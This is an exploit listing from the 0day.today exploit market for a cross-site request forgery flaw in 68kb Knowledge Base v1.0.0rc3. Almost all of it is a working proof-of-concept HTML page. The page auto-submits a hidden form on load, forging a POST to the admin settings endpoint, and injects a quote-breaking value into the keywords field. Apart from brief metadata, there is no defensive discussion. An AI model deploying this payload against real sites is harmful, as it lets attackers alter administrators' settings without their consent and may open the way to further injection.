[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

68kb Knowledge Base v1.0.0rc3 edit main settings CSRF

Author
Jelmer de Hen
Risk
[
Security Risk Unsored
]
0day-ID
0day-ID-11580
Category
web applications
Date add
02-04-2010
Platform
php
=====================================================
68kb Knowledge Base v1.0.0rc3 edit main settings CSRF
=====================================================

Exploit Title: 68kb Knowledge Base v1.0.0rc3 edit main settings CSRF
Date: 2010-04-02
Author: Jelmer de Hen
Software Link: http://68kb.googlecode.com/files/68kb-v1.0.0rc3.zip
Version: v1.0.0rc3
 
<html>
<body onload="document.forms['edit_settings'].submit()">
<form name="edit_settings" action="http://server/index.php/admin/settings/main" method="post">
<input type=hidden name="site_name" value="Your Site">
<input type=hidden name="site_keywords" value='">escapable'>
<input type=hidden name="site_description" value="">
<input type=hidden name="site_email" value="a@a.com">
<input type=hidden name="max_search" value="5">
<input type=hidden name="comments" value="5">
<input type=hidden name="cache_time" value="0">
</form>
</body>
</html>



#  0day.today [2024-07-01]  #